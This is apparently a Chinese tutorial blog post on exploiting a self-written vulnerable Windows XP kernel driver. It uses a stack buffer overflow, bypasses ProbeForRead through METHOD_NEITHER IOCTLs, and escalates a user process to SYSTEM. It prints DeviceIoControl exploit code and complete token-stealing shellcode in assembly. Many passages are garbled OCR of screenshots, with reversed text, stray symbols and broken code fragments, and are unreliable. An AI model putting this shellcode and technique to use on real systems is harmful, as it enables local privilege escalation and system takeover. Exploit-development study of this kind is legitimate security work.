Windows内核缓冲区溢出漏洞利用实现r3应用层进程提权

利用思路：在xp下，RtlCopyMemory函数没有对des的长度做严格的检查，所以可以使用该函数对内核堆栈进行溢出，覆盖函数的返回地址，使eip指向我们自己构造的shellcode跳板指令处。

0x00:首先验证猜想，对RtlCopyMemory函数进行验证，看是否有对des的长度、指针的合法性进行校验，异或是其他的安全检查：

xB1a 
LILONG PTR 
3a785ef 8b7de8 
3a785fc 8b45fO 
In 
ulPtr = 0; 
UNICODE STRING 
*IpNewbaitEntry NULL 
f

上图中，可以发现，在上面的反汇编指令中，RtlCopyMemory函数的实现是直接使用了rep movs串传送指令，直接将des缓冲区copy到了source。

可以得出，RtlCopyMemory函数没有对des参数做任何的安全检查，但是，在copy之前，我们的目标驱动（要攻击的内核模块）会在copy之前使用probeforRead对des地址进行地址合法性校验，往后看。

0x01:接下来，编写含有漏洞的r0驱动，以及expolit的r3程序。R3使用DeviceIoControl通信触发攻击。

r0的DriverUnload函数中，指定好deviceIoControl分发函数，并执行含有漏洞的sub\_0123函数，在sub\_0123函数中，执行了含有

漏洞的代码：

TSTATUS UserBuffer, ULONG Size) 
PVOID 
NTSTATUS ntStatus = STATUS_SUCCESS; 
/

r0编写完之后，再来编写r3的expolit。

0x02：绕过DEP的非可执行区域引发的异常。

当copy我们的shellcode到被标记为非可执行内存区域时，cpu将会引发异常，从而不会执行shellcode，转而去执行异常处理例程。

但是，我们可以通过VirtualAlloc重新申请一段内存，并对该内存所在页标记为可执行。

R3的攻击代码：

DWORD dwRet = 0;

WCHAR \*buffer = (WCHAR \*)malloc(512\*sizeof(WCHAR));

memset(buffer,0x41,512\*sizeof(WCHAR));

printf("Please press any key to send Attack!\n");

getch();

DeviceIoControl(hDevice,

CTL\_PRINT,

buffer,

512 \* sizeof(WCHAR),

buffer,

512 \* sizeof(WCHAR),

&dwRet,

NULL);

其中，CTL\_PRINT是r3指定的通讯方式：

#define MYIOCTRL\_CODE(i) \

CTL\_CODE(FILE\_DEVICE\_UNKNOWN, IOCTRL\_BASE+i, METHOD\_NEITHER,FILE\_ANY\_ACCESS)

#define CTL\_HELLO MYIOCTRL\_CODE(0)

#define CTL\_PRINT MYIOCTRL\_CODE(1)

#define CTL\_BYE MYIOCTRL\_CODE(2)

这样，进入内核后，直接使用的就是环3的地址空间了。

但是，这里出现了问题，也就是刚刚提到的ProbeForRead函数的指针合法性校验：

 : 0001124A 
. text : 0001124C 
. text 0001125

那么，就需要过掉ProbeForRead函数，才可以往后进行。

probeforread函数会将第一个参数做为内存空间，做了如下检查：

1、如果该地址范围超出环3，那么该函数引发STATUS\_ACCESS\_VIOLATION异常。

2、如果该地址没有按照指定的内存对齐格式对齐，则引发STATUS\_DATA\_MISALIGNMENT异常。

既然非用户地址范围的空间会引发异常，那么就需要内核直接访问r3的buffer，基于do buffer和direct 的方式，IO管理器都会在内核空间开辟一段空间，并且将用户的buffer拷贝到该空间中，所以这两种方式的IO都不能过ProbeForRead。

既然deviceIoControl的通讯方式是r3来指定的，也就是由我们的攻击程序来指定，so，neither io。

到了这里，我们过掉了ProbeForRead，并且向内核空间写入了我们的数据：

egisters Disassembly Memory 
Command 
PBCKerne1StackOverF10w! sub 0123+Ox8e: 
Disa

写入是写入进去了，但是并没有覆盖掉ebp和eip（将0x41写入寄存器）：

ebugView on (local) 
File Edit Capture Options Computer Help 
Time 


R3的UserBuffer长度增加到0x900在来运行一下，看一看效果：

ommand - Kernel 'com:port=com1,baud=115200' - Win[ 
f8daf6db 8be5 


到了这里，成功的将eip、ebp覆盖掉了。

那么，现在，就要正确的找出eip、ebp在函数栈帧中的offset，然后改写他们。

逆向一下驱动，看一看eip的offset：

Ζτς 
sseappe 
aa33naaesn„ 
ssaappe aa33naaesn„ 
8 
dqa 
dqa 1 dsa 
'08¯aeA+dqe] 'xea 
'dsa 
008¯aeA+dqa] 
ssaappv+dqa] 'xea 
[ I xpa 
8 'dsa 
Tsae33nqTaaaaye 
qoog 
8 'dsa 
Wae33nqTaaaaye 
8 'dsa 
azTsaa33nqaasne 
[ •4unooxeH+dqa] 'xea 
8 'dsa 
appyaa33nqaasne 
xpa 
ssaappv+dqa] •'xpa 
peauaoaaqoad : ΒΡ 
ssaappy 
ssaappv+dqa] 
TWEaa'l 
ΤΥ 
ΤΡΙ* 
Ο 
11008 
dsa 
[ 1 xea 
ο 
'08 ¯ae.'+dqa ] 
dsa 
dsa 
dqa 
dqa 
dod 
ppe 
ΤΤΡΟ 
qsnd 
qsnd 
qsnd 
ppe 
ΤΤΡΟ 
qsnd 
qsnd 
ppe 
ΤΤΡΟ 
qsnd 
qsnd 
ppe 
ΤΤΡΟ 
qsnd 
qsnd 
ppe 
ΤΤΡΟ 
qsnd 
qsnd 
ΤΤΡΟ 
qsnd 
qsnd 
qsnd 
ppe 
ΤΤΡΟ 
qsnd 
qsnd 
qsnd 
qns 
qsnd 

当驱动进入该函数后，先将ebp入栈，然后esp向上抬高了0x804的长度，那么，eip的位置应该是：

0x804 + sizeof(DWORD)。

将攻击函数改写一下，然后看一下是否可以命中：

IZE T Size 
ULONCJ result 
— (512) * sizeof (ULONG) + sizeof (NTSTATUS) + sizeof (D

重新编译，执行后，成功的命中了eip：

ommand - Kernel - WInDbg:6.11.0001.404 X8 
cax,dword ptr [obp—804h]

下面，就来准备shellcode，并改写eip中的内容为我们shellcode的指针。

先来分析一下我们shellcode的功能：

找到windows系统进程system进程（processId = 4），然后找到该进程的EProcess结构，拷贝该结构中的token成员到我们的攻击进程中，有了token，我们就可以欺骗操作系统，达到提权的目的了。

改写攻击函数，加入shellcode：

 (((ULONG) Buffer + Size) 
sizeof (UL()NG 
shel ICodeAddress 

在来将eip的值改写为我们的shellcode地址，来看一看shellcode的实现：

pushad;保存当前线程的CPU现场

xor eax, eax

mov eax, fs:[eax + CurrentThreadOffset];提取nt!\_KPCR.ProbData.CurrentThread

mov eax, [eax + EProcessOffset];获取当前进程的EProcess结构地址

mov ecx, eax;eax后面会发生改变，用ecx来保存

mov edx,SystemPID ;searchSystemID:

mov eax, [eax + FlinkOffset];找到当前进程所在的进程链表，获取下一个进程的EProcess结构指针

sub eax, FlinkOffset;从链表中找到下一个结点的地址后，在减去结点在EProcess结构中的偏移，就得到了下一个进程的EProcess的起始地址了

cmp[eax + ProcessIdOffset], edx;比较当前进程的pid是否为systemPid

jne searchSystemID

mov edx, [eax + TokenOffset]

mov[ecx + TokenOffset], edx;找到后，替换到我们的攻击程序中

popad

重新编译，执行，挂windbg看一下：

isassembly 
eax, eax 
ecx, eax 
Offset: 
079c2 
b930000000 
4079c7 


成功的将system进程的process token拷贝到了我们的r3程序中。